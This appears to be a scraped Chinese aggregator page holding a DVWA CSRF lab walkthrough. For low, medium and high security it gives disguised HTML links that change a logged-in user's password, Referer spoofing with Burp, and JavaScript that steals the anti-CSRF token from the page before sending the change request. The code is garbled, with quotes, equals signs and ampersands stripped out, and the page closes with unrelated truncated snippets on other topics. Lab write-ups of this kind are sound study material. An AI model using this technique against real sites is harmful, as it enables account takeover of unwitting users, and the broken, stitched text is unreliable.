服装网站建设背景昵图网免费素材图库

diannao/2026/1/22 14:52:11/文章来源:
服装网站建设背景,昵图网免费素材图库,网站ui设计师培训,企业年报入口官网查询系统DVWA-csrf实例 low级别 修改密码#xff1a;修改的密码通过get请求#xff0c;暴露在url上。 写一个简单的html文件#xff0c;里面伪装修改密码的文字#xff0c;代码如下#xff1a; htmlbodya hrefhttp://dvwa:7001/vulnerabilities/csr…DVWA-csrf实例 low级别 修改密码修改的密码通过get请求暴露在url上。 写一个简单的html文件里面伪装修改密码的文字代码如下 htmlbodya hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-low/a/body /html点击dvwa-csrf-low文字后跳转到dvwa的修改密码界面提示Password changed密码已修改。 middle级别 修改密码修改的密码通过get请求暴露在url上。 写一个简单的html文件里面伪装修改密码的文字代码如下 htmlbodya hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-low/a/bra hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-middle/a/body /html点击dvwa-csrf-middle文字后跳转到dvwa的修改密码界面提示the request didn’t look correct (请求不正确)。 查看源码发现会校验http_referer和server_name两个参数不为空。 对比成功的请求与失败的请求发现失败的请求缺失了refererreferer用来表示从哪个页面链接到当前的网页。用于浏览器的同源策略。 成功的请求 失败的请求 利用bp工具补上referer的参数。 网上另外解法修改host和referer为localhost或127.0.0.1其实也是遵循同源策略。 high级别 修改密码修改的密码通过get请求暴露在url上并且带上user_token。 写一个简单的html文件里面伪装修改密码的文字代码如下 htmlbodya hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-low/a/bra hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-middle/a/bra hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new2password_conf2ChangeChangeuser_token96f6243c53766d30d5e51cf92c15f9a3#dvwa-csrf-high/a/body /html点击dvwa-csrf-high文字后跳转到dvwa的修改密码界面提示csrf token is incorrect (csrf的token错误)。 对比成功的请求与失败的请求发现失败的请求缺失了refererreferer用来表示从哪个页面链接到当前的网页。用于浏览器的同源策略。 成功的请求 失败的请求 利用bp工具补上referer的参数。结果还是失败。因此查看源码#1这行有进行token的校验。#2这行进行token生成大致可以分析出token生成后一次性校验跟验证码同理。 ?phpif( isset( $_GET[ Change ] ) ) {// Check Anti-CSRF token #1checkToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php );// Get input$pass_new $_GET[ password_new ];$pass_conf $_GET[ password_conf ];// Do the passwords match?if( $pass_new $pass_conf ) {// They do!$pass_new ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass_new ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));$pass_new md5( $pass_new );// Update the database$insert UPDATE users SET password $pass_new WHERE user . dvwaCurrentUser() . ;;$result mysqli_query($GLOBALS[___mysqli_ston], $insert ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre );// Feedback for the userecho prePassword Changed./pre;}else {// Issue with passwords matchingecho prePasswords did not match./pre;}((is_null($___mysqli_res mysqli_close($GLOBALS[___mysqli_ston]))) ? false : $___mysqli_res); }// Generate Anti-CSRF token #2 generateSessionToken();?基于分析出的结论要构建一个新请求先调用#2再调用修改密码的请求此时为了避免跨域问题。将写好的html直接放到dvwa下。 htmlbodya hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-low/a/bra hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-middle/a/bra hrefjavascript:void(0); onclickinitJS()dvwa-csrf-high/a/bodyscript function initJS(){var theUrl http://dvwa:7001/vulnerabilities/csrf/; if(window.XMLHttpRequest) {xmlhttp new XMLHttpRequest(); }else{xmlhttp new ActiveXObject(Microsoft.XMLHTTP); } var count 0; xmlhttp.withCredentials true; xmlhttp.onreadystatechangefunction(){if(xmlhttp.readyState 4 xmlhttp.status200){var text xmlhttp.responseText;var regex /user_token\ value\\(.*?)\ \/\/;var match text.match(regex);var token match[1];var new_url http://dvwa:7001/vulnerabilities/csrf/?user_tokentokenpassword_new1password_conf1ChangeChange;if(count0){count;//此代码用于只执行一次修改密码xmlhttp.open(GET,new_url,false);xmlhttp.send();}} }; xmlhttp.open(GET,theUrl,false); xmlhttp.send();}/script /html用新密码可以成功登录通关结束。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/89270.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

摄影网站怎么备案网站分辨率做96是否会更好

试卷代号:1020 2 0 2 0年春季学期期末统一考试 国际私法 试题 2020年7月 一、单项选择题(每题2分,共20分,每题只有一项答案正确,请将正确答案的序号填在括号内) 1.法律的域外效力也称为( &#…

网站快速优化seo网站怎么搭建

2024上海国际化工自动化仪器仪表展览会 2024 Shanghai International Chemical Automation Instrument Exhibition 时间:2024年12月11-13日 地点:上海新国际博览中心 详询主办方陆先生 I38(前三位) I82I(中间四位…

wordpress开启子站石家庄seo培训

技术方案建议 使用RESTful API:采用RESTful API架构,实现与OpenAI服务的交互和数据传输。数据安全:确保用户数据的安全性和隐私保护,采用加密传输和安全认证机制。用户界面设计:设计直观友好的用户界面,提…

礼县住房和城乡建设局网站如何查询公司名称是否被注册

反射详解 反射什么是反射?常见操作反射中常用类1.Class类获取Class对象的三张方式类名通过forName()方法通过对象 2.Constructor类获取Constructor构造方法的方式执行Constructor构造方法的方式 3.Field类获取Field成员变量的方式获取所有成员…

app开发公司 上海重庆seo推广渠道

电脑蓝屏怎么办? 相信大家都遇到过蓝屏的问题, 有时候电脑用着用着就突然蓝屏了, 或者某天开机突然蓝屏了…… 电脑蓝屏的原因非常的多, 到底是什么引起的呢? 收集了一些最常见的几种蓝屏代码, 大家只需要如…

怎么在百度上能搜到自己的网站阿里云服务器开源做几个网站

传奇 mir2韩国2005年原版代码 参考资料;传奇 mir2韩国2005年原版代码-感谢网虫大神分享_98999NET源码资源网

搭建网站要多久阿里云域名注册官网首页

机器之心转载来源:知乎作者:张皓众所周知,程序猿在写代码时通常会在网上搜索大量资料,其中大部分是代码段。然而,这项工作常常令人心累身疲,耗费大量时间。所以,今天小编转载了知乎上的一篇文章…

做电商有哪些网站有哪些内容上海公司查询网站

2019独角兽企业重金招聘Python工程师标准>>> Web设计是一个不断变化的领域,因此掌握最新的发展趋势及技术动向对设计师来说非常重要,无论是学习新技术,还是寻找免费资源与工具,设计博客都是很不错的去处。本文向Web前端…

网站设计宁波wordpress文章无法访问

正题 链接 需要纪中OJ账号 刚开始一个字符串”1”。然后进行无数次变化,1变为10,0变为1。然后求多个区间内的1的个数 输入输出(需要自取) Input   第一行为一个整数Q,后面有Q行,每行两个数用空格隔开的整数a, b。 …

做租赁哪个网站好装修公司十大排行榜

new Buffer("Hello World").toString("base64"); /* yields SGVsbG8gV29ybGQNCg */new Buffer("SGVsbG8gV29ybGQNCg").toString("ascii"); /* yields Hello World */

网站轮播图片怎么做的网站建设全过程及如何赚钱

SVN的清理命令,我们经常会使用。这个命令的原理,我们还是有必要深究一下的。当SVN改变你的工作拷贝(或是.svn中的任何信息),它会尽可能的小心。在进行任何修改操作时,SVN都会把日志记录到日志文件中,然后执行log文件中…

乡村旅游网站建设的意义网站显示内容不显示不出来

测试框架 如何测试私有方法本系列文章的这一部分将介绍测试框架以及我在何时以及是否应用它们方面的想法和经验。 关于测试框架的想法 我对大多数测试框架不太满意的原因是,按照我的观点,它们大多增加了语法上的便利性和便利性,但是本质上并…

有多少人自己做电影网站缩短链接的网站

中关村在线消息:苹果将举行WWDC 2020开发者大会即将召开,昨日,业内人士手机晶片达人透露:“苹果明年即将在Macbook上与iPad导入Mini LED产品,效果非常非常的好。相关供应链都开始动了起来。”苹果明年即将在Macbook上与…

郑州人才网站centos 7 wordpress install

#讨论这个有意义吗?这个是在知乎上看到的一个问题,评论挺多的。其中有人提到,研究这个东西有什么用?编程的时候我们不能这么写的。我记得在大学的时候,我们的副院长给我们上课,就给我们提到,要习…

如何在建设部网站查企业资质询广西南宁网站运营

最近在学习高翔博士的《视觉SLAM十四讲》(第二版),算是初学本书,配套资源还算蛮丰富的,有代码(第一版和第二版都有),B站上也有高翔博士对第一版录制的讲解视频,真的是很贴…

公司建站文案给网站公司看的青岛seo整站优化哪家专业

案例实战之注册登录-图形验证码谷歌开源Kaptcha引入 验证码配置工具类。 验证码存储Redis逻辑编码实战 工具类用于获取本机ip和md5加密,直接使用就行,我们这里主要是学习redis不是学习这个。 获取验证码并存到redis中的接口: 运行测试&…

打鱼在线游戏网站建设做网站大流量

openstack配置 一、硬件及操作系统要求 硬件:IBM服务器R410 两台、网线、显示器、键盘若干,100M光纤(硬性要求) 操作系统:两台服务器均安装Ubuntu server 12.04 LTS 二、安装步骤(server-1与server-2公共部…

如何创办网站wordpress 导出主题

目录 基础 介绍 免疫检查点的表面调控(细胞膜层面) ​编辑 PD-1调节 PD-L1调节 CTLA-4 调节 检查点信号通路 关于靶点研究 展望 Immune checkpoint signaling and cancer immunotherapy - PubMed (nih.gov) 基础 【中英字幕】肿瘤免疫疗法之免…

生产类营销型网站怀来网站seo

函数重载 函数重载概念 什么是函数重载? 函数重载:是函数的一种特殊情况,C允许在同一作用域中声明几个功能类似的同名函数,这些同名函数的形参列表(参数个数 或 类型 或 类型顺序)不同,常用来处理实现功能类似数据类…

wordpress主题代码编辑教程seo是什么的缩写

什么是yum yum( Yellow dog Updater, Modified)是一个在 Fedora 和 RedHat 以及 SUSE 中的 Shell 前端软件包管理器。 假设,在一台window系统的电脑上要用qq,那么我们回去下载qq的安装包,然后执行qq.exe文件在本机上进…